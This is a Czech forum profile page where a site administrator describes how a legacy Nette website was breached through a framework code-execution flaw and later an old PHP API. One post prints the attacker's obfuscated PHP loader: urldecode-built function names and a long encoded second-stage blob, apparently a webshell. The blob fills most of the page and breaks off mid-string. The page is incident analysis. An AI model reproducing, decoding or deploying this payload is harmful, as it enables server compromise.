Jump to content
Search In
  • More options...
Find results that contain...
Find results in...
Admin

ffredyk

Majitel
  • Příspěvků

    3 112
  • Registrován

  • Aktivní

  • Vítězných dnů

    17

ffredyk last won the day on Říjen 20

ffredyk had the most liked content!

Reputace

72 Jethro

1 Follower

About ffredyk

  • Moto
    Über Bagr!
  • Narozeniny 25.4.1994

Kontaktní údaje

  • Web
    http://ffredyk.cz
  • Skype
    ffredyk

Návštěvníci

1 574 profile views
  1. Jojo, web je stavěný na starší verzi Nette - dělala to nějaká random firma kdysi dávno, já jen převzal údržbu. Je to celkem strašidelně napsaný a nedá se do toho pořádně sáhnout aniž by se něco neposralo.. Web se jim povedlo prolomit znova, nicméně to už byla jiná díra (přes basic PHP vyráběné API pro program na dotazování informací z DB), která jela snad 10 let netknutá :D
  2. Nakonec jsme zjistili, že po několika letech fungování Nette bez větší CWE nakonec našli díru jako kráva, která dopomohla ke code execution... Díra se týká všech verzí Nette, byl vydaný patch, který tuto díru rychlým způsobem vyřeší. Díra spočívala v chybě MicroController - přes parametry URL se dá zmotat podmínka, přes kterou se poté provede code execution. Zdroj: https://phpfashion.com/objevena-prvni-zranitelnost-v-nette-aktualizujte
  3. Nedalo mi to spát a ještě jsem se podíval na eval druhého base64 enkryptu. Také je to zajímavé maskování celého payloadu, rozlámal jsem to na kousky a hodil do sandboxu <?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"); $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30}; $O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24}; $OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24}; $OO0000=$O00OO0{7}.$O00OO0{13}; $O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; //2nd enkrypt $O0O000="TSuJwhrpBvmnAVGKLOcWNjQiXylUCtgsFZEPYoDqaMkHxzfdebRIxhapFXMTSybtuwOnCzNBAdKIockQYjlLViDsPefmgGvRqrHWZUEJsf9FgRulfKevgbETNIu9JYNtzF0npOX0WRSHW2wIJf0lp2X0WRutzF0ngBPegoAHgRE0NRGenhk7fKelpOX0WRulshutgRE0NRGtzF0nHBwLN2w7fKelpOX0WRulshutgRE0NYN7fKT9fKevN211NbkHWO1FJf0lN21cioV1ioA0o3wcghlTzF0ngBPepRAjWopTo3EjNf09pcNTZF0nJYulJYErUowcgw90Uou9pc8tzF0nHK0npRGlshutPINap2VrixPtCIN0o2QtCIWaP29vihN7fKevN211NbvlshuvNclvN211NbkHWO1FnxLAYbi1UbA0gB9aJRAjNbwqWBwrWV91NbvenoLAYIulJYSTiIuegoArioKepV9xEwpBEwpUp1pVQwwVQ1EHwwppp10TnoLAYIulJYulJYulpRAjWopTJf0lpV9xEwpBEwpUp1pVQwwVQ1EHwwppp107fKelJYulHBwLN2w7fKelJYulJYulJOkbnOkrN2w0nYEHQ0whwvwhBcWXNbW2p10TnoLAYIulJYulJYulJYulJYErUowcghu9JYEHQ0whwvwhBcWKhVSHQ0wGEIWWJY4lpr8tJY4lpV9xEwpBEwpUp2Vci3PtowLFoxLAYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYuvN211Nbvlshuvo1AVQkiVQkLtQDXKo1AVxDPtohuaJYN/pcuaJYEHQ0whwvwhBcWEwQwhBw9xwVppxvNtoxLAYIulJYulJYulHK0nJYulJR0AYIulJYScioE1Nb4lpRAjWopTzF0nHK0npOWyW2wIJf0lp2E0gOkcWRvjiBktgRKcCtATi2iyZOiyWB5vPoETU25tCtAeU3utzF0npRSXN3A3U3pvJf0lUBK1nO1vAhXupV9REwEUp3Svp10TnxLAYbkbJYlvNOVrN3WyNbKlsx0lprwbPbPrAbP2PdDFArSXiBG2ABPFGOAIzOQrABG5P2G0pcvlZF0nJYulJYEXiOEHP29aWOwaWYu9JDuvo0WVwVLtUBVFUbVjihWWzF0nJYulJYEXP3ETU24lshSupV9REwEUp2VdWOkyUIWWzF0nJYulJYEvU21XgB4lshSupV9REwEUp2EyUBVTUIWWzF0nJYulJOkbnYEvU21XgB4TZF0nJYulJYulJYuvgO9rWYu9JYEvU21XgB47fKelJYulHBwLN2w7fKelJYulJYulJYEeU3A0Jf0lpV9xEwpBEwpUp0XQwVSHhD9xwYWWzF0nJYulJR0AYIulJYuyCcEeU3A0Jf0lpV9xEwpBEwpUp0XQwVSHhD9xwYWWzF0nJYulJYEFPoEeJf0liOkcUbVjihXHo0ipxDwHocv7fKelJYulgBPepOVdWOkyUd09p3STUbNtnoLAYIulJYulJYulCc9eWREFNreyC3W3Wc5tU29tUOQaP29jC3STUbN/N2k0iB1XNf1eWREFNreyC2w4PB1FUOQaP29jC3ATWOwjPouaZO1LfKelJYulJYulJOkbnRA0NtA0NIlvPBEvo2AyUtEkUtKLpc54UBFtnhk7fKelJYulJYulJYulJYSTiIXTN19eWREFNclTnoLAYIulJYulJYulJYulJYulJYuviOV0Pw9aioNlshutgRE0NRG6Cc93W3Nai29yi2qkCbAyUh9FgB5ts3ATWOwjPou9pc4tgRE0NRG6Cc8tCIEeU3A0CINypc4vPBEvo2AyUtEkUtK7fKelJYulJYulJYulJYS9iBqrioLAYIulJYulJYulJYulJYulJYuviOV0Pw9aioNlshutgRE0NRG6Cc93W3Nai29yi2qkCbAyUh9FgB5ts3ATWOwjPou9pc4tgRE0NfeyCcNapOXyN3Kapc8tCIEXiOEHP29aWOwaWfLAYIulJYulJYulJYulJR0AYIulJYulJYulJYulJY8yQ2k0iB1XNfelgRE0NfeyC3W3Wc5tWBEXUbWriBXXWY5dU20yUBVFgB5violaZO1LfKelJYulJYulJYulJYSTiIXrWRpTN3EcnRAjU3w0iO8epOEXWOVHUbw3nhFti29yi2qkpcvTZF0nJYulJYulJYulJYulJYulJOwdgO8lprqINd5ygrqINd4tzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYuliBAeUcuviOV0Pw9aioNaprqINd5FgB5tJOiXURAkJxqINd4tzF0nJYulJYulJYulJYulHK0nJYulJYulJYS9iBqrioLAYIulJYulJYulJYulJOwdgO8lprqINd5rgoEkUBVFJO5XUBQlibVLN2QXsOpcsIN7fKelJYulJYulJR0AYIulJYulJYulioXTWfLAYIulJYS9fKeAYIulJYuvibkLiw9FPoEeJf0lpRSXWOlapc9cU2pyWRGaWRX0prLAYIulJYSTiIlXpOVdWOkyUIk7fKelJYulJYulJYEXP3ETU24lshutNRw0prLAYIulJYS9fKelJYulgBPepOVdWOkyUIu9shutNRw0pck7fKelJYulJYulJOkbnRA0NtA0NIlvPBEvo2AyUtEkUtKLpc54UBFtnhk7fKelJYulJYulJYulJYSTiIXbgBqko2w4goA0NclvibkLiw9FPoEenhk7fKelJYulJYulJYulJYulJYulpOEXWODlshSrUB91WOEynYEbgBqko3SXWOlTzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulpOEXWODlshutwoAkNI1Xi2waWfelnl0nKBqLU3N6JY8tzF0nJYulJYulJYulJYulHK0nJYulJYulJYulJYulgBPeN3EcN3EcnYEvPoEXCYNypc4vPBEvo2AyUtEkUtKTnoLAYIulJYulJYulJYulJYulJYSkP2XyJYN8PtJ+N2k0iB1XNYSXURpkPBE5JOVviOwvJxqINd4tzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulgBPegoAHgRE0NRGenhk7fKelJYulJYulJYulJYulJYulJYulJYEvPoEXo25kWcu9JREcgB0epOEXWODTCIpNNkqaJI4tQ2k0iB1XNfelgRE0NRG6Cc8tCIEeU3A0CINypc4vPBEvo2AyUtEkUtK7fKelJYulJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulJYulJYEvPoEXo25kWcu9JREcgB0epOEXWODTCIpNNkqaJI4tQ2k0iB1XNfelgRE0NfeyCcNapOXyN3Kapc8tCIEXiOEHP29aWOwaWfLAYIulJYulJYulJYulJYulJYS9fKelJYulJYulJYulJYulJYulCc9xgoEkUBVFzISeWREFzI8yW3W3CbW1iOVai3AkgOV0CbAyUh9jPoSTUbEkZY54UBFAYIulJYulJYulJYulJYulJYSTiIXbgBqko3S1WV9dU250iB50NclvibkLiw9FPoEeCYEvPoEXo25kWcvTJRLAYIulJYulJYulJYulJYulJYulJYuliBAeUcutsOpcsb9MsOpcsIN7fKelJYulJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulJYulJOwdgO8lprqINd5bgBqkJRWcgoEkJOiXURAkJxqINd4tzF0nJYulJYulJYulJYulJYulJR0AYIulJYulJYulJYulJR0AYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYSkP2XyJYN8PtJ+N2k0iB1XNYSaPB1kJOiXURAkJxqINd4tzF0nJYulJYulJYS9fKelJYulJYulJOkbJYXrWRprWRJepOVviV9dU250iB50CYutCtSeNYNTnhS7fKepYKvvPhu9JO1vAhXjifQeKYEHE0wQBcWXp10TnxLAYlvpYhEIJf0lUBK1nO1vAhXupV9REwEUp2JtohvTzF0nYKvpgBPepOD9soAjU3w0iO8ep2X0WRu6Cc8tCIEtU3WkPI4tC2DaNOXFpcvlHRFlpOJ9shNcGBG0ifurGBEvGdv5GfDrAxiXzxVIG2wbP2AXGfDrGYNTZF0nYKvpYhErUoA0NIu9JDuvo0WVwVLtN21rWRJtoxLAYlvpYKkTiIXbgBqko3S1WV9dU250iB50NclvNOV0gYuaJYNypcuaJYEXiOEHP29aWOwaWYFlpRAjN3Ecnhk7fKepYKvpYBwdgO8lp29MprLAYlvpYKk9fKepYKk9fKelJYulJYulJR0AYIulJYS9fKelJYulgBPepOVdWOkyUIu9shutiOwLpck7fKelJYulJYulJOkbnOiTUOwHioXTN3ErnYEbgBqko3SXWOlTnoLAYIulJYulJYulJYulJYEvPoEXJf0lN21yWoEvUclvibkLiw9FPoEenxLAYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYuviOV0Phu9JYNtzF0nJYulJYulJYS9fKelJYulJYulJOkbnRA0NtA0NIlviOV0PhFtCcNapOVviV9dU250iB50nhk7fKelJYulJYulJYulJYSTiIXTN19eWREFNclTnoLAYIulJYulJYulJYulJYulJYuviOV0Pw9aioNlshS0NbkjnYEvPoEXnh4IoRpNUIJap1ATWOwjPou6JOX0WRSrzI8ypc4vgO9rWY4tCcNapOVviV9dU250iB50zF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYulpOEXWOVHUbw3Jf0lWRpTUhlviOV0PhvaJkqcoO4ICIWxgoEkUBVFzISeWREFzI8ypc4vgO9rWY4tCcNapOVviV9dU250iB50zF0nJYulJYulJYulJYulHK0nJYulJYulJYulJYulgBPeibkLiw9FWoEHP29aWOwaWRGepOiTUOwHNOV0gYFviOV0Pw9aioNTnhS7fKelJYulJYulJYulJYulJYuliBAeUcutsOpcsb9MsOpcsIN7fKelJYulJYulJYulJYS9iBqrioLAYIulJYulJYulJYulJYulJYSkP2XyJYN8PtJ+ibkLihS3Nbk0ihSbPBqrihD8PtJ+prLAYIulJYulJYulJYulJR0AYIulJYulJYulHBwLN2w7fKelJYulJYulJYulJYSkP2XyJYN8PtJ+N2k0iB1XNYSvU2wrJO5yWYSkZOkrWYD8PtJ+prLAYIulJYulJYulHK0nJYulJR0AYl0nJYulJOw4goK7fKT9fKTbWB5dWOkyUISTN19eWREFNclTJRLAYIulJYSTiIueJYVkUoS0Zhlvo1AVQkiVQkLthVEQQVGtohvlpIPlN3EcWO9LU3WkNIlvo1AVQkiVQkLthVEQQVGtohvlJx09JYWyibPtnhS7fKelJYulJYulJRpkWRwcUIS0NtwkzF0nJYulJR0liBqriBkbJYllgoArioKepV9xEwpBEwpUp0XQwVSHBV9Ox1poKwpDEQEHQVpswD8tohvlpIPlpV9xEwpBEwpUp0XQwVSHBV9Ox1poKwpDEQEHQVpswD8tohu9sx0lp2X0WRSrpcuTJRLAYIulJYulJYulNbw0WopaJREcWBQ7fKelJYulHhSkURAkgBPlnYuXiB1FWRvepV9xEwpBEwpUp0XQwVSHEkpsxkEHEQ5Do0XQwVSxp10TJYPbJRA0NtEyUO93ioJepV9xEwpBEwpUp0XQwVSHEkpsxkEHEQ5Do0XQwVSxp10TJYD9shutU2ibpcvlZF0nJYulJYulJYScioE1Nb4lWRp1ixLAYIulJYS9fKelJYulNbw0WopaJOiXURAkzF0nHK0npREkUoulshSupV9REwEUp3AjWOwjNYWWzF0npOkvJf0lKYEH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iB50CYWaU2pyWRwriopXi2waWYNTnoLAYIulJYulJYulgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp29MgREjUOWkWOAyUtEkUtKtnhk7fKelJYulJYulJYulJYSugOwXiOwcnYpfU250iB50CoE5NOQ6JREkZRKyP3ArzcSdgOVcN2w0sow0iI04JIv7fKelJYulJYulJYulJYuvgREjUV9dU250iB50Jf0lN3Eco3pkNOqXP2QeJb9MgREjUOWkWOAyUtEkUtKICYNtCYEeWO1Lo2AyUtEkUtKTzF0nJYulJYulJYulJYuliBAeUcuvgREjUV9dU250iB50zF0nJYulJYulJYulJYulioXTWYlTzF0nJYulJYulJYS9iBqrihSTiIXrWRprWRJepOX0UBqHP29aWOwaWYFti2w0P29aWOwaWfQFGRSXi2Qtnhk7fKelJYulJYulJYulJYSugOwXiOwcnYWJwVEKCrDaGhu1GfulhB50iopaPBFlQ2wcWbwcJDwcNb9cpcv7fKelJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJR1kURAkJOkbnRA0NtA0NIlvgREjUV9dU250iB50CYWtioEdU250iB50Afu0NOVtihNTnoLAYIulJYulJYulJYulJDSeiBVvioJep0XQwVuyGh4qJfKFAYSzU3KlEb91UbKtnxLAYIulJYulJYulJYulJOw4goKenxLAYIulJYulJYulHK0nJYulJR0AYt0AYl0niBqrihSTiIlvN2k0ihk7fKelJYulgBPepRATWOQlsx0lp3XjUYNTZF0nJYulJYulJYSugOwXiOwcnYpfU250iB50CoE5NOQ6JREkZRKygREjUfLlP2XXNtAkWf11WOPjzYJTzF0nJYulJYulJYuvUBVFiOkcJf0lKYEHE0wQBcWjPoSvgoJtoxLAYIulJYulJYulpO1XNRE5NOQlshSupV9REwEUp21XNRE5NOQtoxLAYIulJYulJYulpOiTUOw0ZoSkJf0lKYEHE0wQBcWbgBqkWRkFihWWzF0nJYulJYulJYuvUBVFo3AFUOk0N19aWB0lshSupV9REwEUp21XNV9rNOqTWRAHUtwjp107fKelJYulJYulJYEjPoSHUtwjJf0lKYEHE0wQBcWjPoSHUtwjp107fKelJYulJYulJYEvPoEXxbw3Jf0lKYEHE0wQBcWvPoEXxbw3p107fKelJYulJYulJOkbnYEjPoSvgoJTZF0nJYulJYulJYulJYulgBPeJBkro2ETNIlvUBVFiOkcnhk7fKelJYulJYulJYulJYulJYulKO1MiOkcnYEjPoSvgoJLGfN3Acq0NtwknxLAYIulJYulJYulJYulJYulJYSkP2XyJYWygcutCIEjPoSvgoJapcSrWBAdioArJxqINd4tzF0nJYulJYulJYulJYulHBwLN2w7fKelJYulJYulJYulJYulJYuliBAeUcuvUBVFiOkcCINlPBqciBVvZhSkZOkrWYD8PtJ+prLAYIulJYulJYulJYulJR0AYIulJYulJYulHK0nJYulJYulJYSTiIXupV9REwEUp21XNOkaiOw4p10TZF0nJYulJYulJYulJYulpOiTUOwXNtpXZhu9JOqTN3EDgoJepO1XNOETNIv7fKelJYulJYulJYulJYSTiIXdU3waWYlvibkLiBVcNbV5nx49GIk7fKelJYulJYulJYulJYulJYulpO1XNOkaiOw4o3A0NIu9JYNtzF0nJYulJYulJYulJYulJYulJYEjPoSTUbEkZV9rWRJlshutsf94UBFlWbwcN2kyUd0IGh4FJISkUbAyiOkair0IwwEOCxlIsr4AYdqrgoEkUBVFgB5viollZO1LUtG9JbX0WRu6Cc93W3Nai29yi2qkCbAyUh9rP2XkUBVrC3ATWOwjPouyGY44AYJ+prLAYIulJYulJYulJYulJYulJYSbU3pkPBAenYEbgBqkPopcPovlPoGlpRiXURwknoLAYIulJYulJYulJYulJYulJYulJYulgBPeN3EcgoA0NIlvWbVLWBQLpc54UBFtnhk7fKelJYulJYulJYulJYulJYulJYulJYulJYuvUBVFgB5vioXHN3EcJY49JYNAYIulsRATWOwjPou+fKelJYulsOqyPr4tCIpeWREFzI8yJI4vo1AVQkiVQkLthVEQQV9Jx1AQp10aJI8ICIEjPoSvgoJapc8tCIE2PBq1ih4tsY9LU2G+fKelJfFyN2k0iB1XNf4tzF0nJYulJYulJYulJYulJYulJYulJYS9fKelJYulJYulJYulJYulJYulHK0nJYulJYulJYulJYulJYulJYEjPoSTUbEkZV9rWRJlCd0lpF0nsY9rgoEkUBVFgB5viol+prLAYIulJYulJYulJYulJYulJYuvZO1LUbVjihu9JDuvo0WVwVLtUBVFgB5violtoh4tCtXjUYN7fKelJYulJYulJYulJYulJYulpO15ibkLihu9JOiyNOwanYE4UBqaPB1kCYuIWcJTzF0nJYulJYulJYulJYulJYulJOi3Nbk0ihlvUokbgBqkCYuvUBVFgB5vioXHN3EcnxLAYIulJYulJYulJYulJYulJYSbP2qyN2QepO15ibkLihv7fKelJYulJYulJYulJYulJYuliBAeUcuIU2L8PtJ+gRE0NfeyCcJapV9xEwpBEwpUp0XQwVSHhD9xwYWWCIJyJI4vZO1LUbVjixLAYIulJYulJYulJYulJYulJYuyC2wdgO8lJdqINd4ICIE3iBJ7fKelJYulJYulJYulJYulJYulioXTWfLAYIulJYulJYulJYulJR1kURAkZF0nJYulJYulJYulJYulJYulJOwdgO8lp3XjUYSbgBqkJOqkN3GlUtwjPbwcJO1XNOkaiOw4JOiXgBqkJhN7fKelJYulJYulJYulJYulJYulioXTWfLAYIulJYulJYulJYulJR0AYIulJYulJYulHK0nJYulJYulJYuvW2wIJf0lpOX0WRSHW2wICIN6Cc8tCIEtU3WkPI4tC3ATWOwjPouaNOXFs2EXWOQ9pc4vgBKapci0iB1FshNapREkUouapci3iBJ9pc4vgO9rWY4tptXjUf0tCIEvWY4tpb1XNRE5NOQ9pc4vUBVFWRkFih4tpbiTUOw0ZoSkshNapOiTUOw0ZoSkCINbUBVFo3AFUOk0N19aWB09pc4vUBVFo3AFUOk0N19aWB0apcijPoSHUtwjshNapO1XNV9aWB0apcivPoEXxbw3shNapOEXWOVzioNapci1Nbv9pc4vN211NbvapcieWREFshNapOX0WRu7fKelJYulJYulJOkbnRA1PtA0NIlvWOwjNYFFCflTsx0tN2XkUOq4UBFtnoLAYIulJYulJYulJYulJYE4UBqaPB1kJf0lN3wIN3EcnYE0iB1FCflTCINaZO1LprLAYIulJYulJYulHK0nJYulJYulJYSTiIXrWBprWRJepREkUouLGYF3nx09p2XXP2j4UBFtnoLAYIulJYulJYulJYulJOkbnRA1PtA0NIlvWOwjNYF3nhk7fKelJYulJYulJYulJYulJYulpRXjUO5XUBQlshSrWBprWRJepREkUouLAcvapc54UBFtzF0nJYulJYulJYulJYulHK0nJYulJYulJYS9fKelJYulJYulJOkbnDuvo0WVwVLtUBVFiOkcp10TZF0nJYulJYulJYulJYulgBPepOiTUOw0ZoSksx0qnoLAYIulJYulJYulJYulJYulJYuvZO1LUbVjihu9JYE4UBqaPB1kCINai3etzF0nJYulJYulJYulJYulHBwLN2QlgBPepOiTUOw0ZoSksx0cnoLAYIulJYulJYulJYulJYulJYSTiIXbWB5dWOkyUk9kZOkrWRGep2W6U3SkUINTnhS7fKelJYulJYulJYulJYulJYulJYulJYE4UBqaPB1kJf0lpRXjUO5XUBQapc5tZIN7fKelJYulJYulJYulJYulJYulJYulJOkbnYEbNYu9JOW6U3SkUIlvUBVFiOkcCINypc4vZO1LUbVjihFlp3N5pcvTZF0nJYulJYulJYulJYulJYulJYulJYulJYulpRXjUYu9JREcgB0eN21yWoEvUclvW2wInhv7fKelJYulJYulJYulJYulJYulJYulJYulJYSTiIXrWRpTN3EcnYE4UBFLp25yJOAciBV0JO1XNYNTnoLAYIulJYulJYulJYulJYulJYulJYulJYulJYulJYSkP2XyJYN8ib9aWYSrWRkLix0IP29LU3J6NbwvJd5aUcSdNbwXWYSjPouXsY9bU250sIN7fKelJYulJYulJYulJYulJYulJYulJYulJYulJYulioXTWfLAYIulJYulJYulJYulJYulJYulJYulJYulJR0AYIulJYulJYulJYulJYulJYulJYulJYulJYEbNYu9JOW6U3SkUIuepO1XNOETNI4tCcNapRXjUO5XUBQLJYW3zhNTzF0nJYulJYulJYulJYulJYulJYulJYulJYuli3T3Nbk0ihuepOiFCYuvZO1LnxLAYIulJYulJYulJYulJYulJYulJYulJYulJOW6P2qyN2QepOiFnxL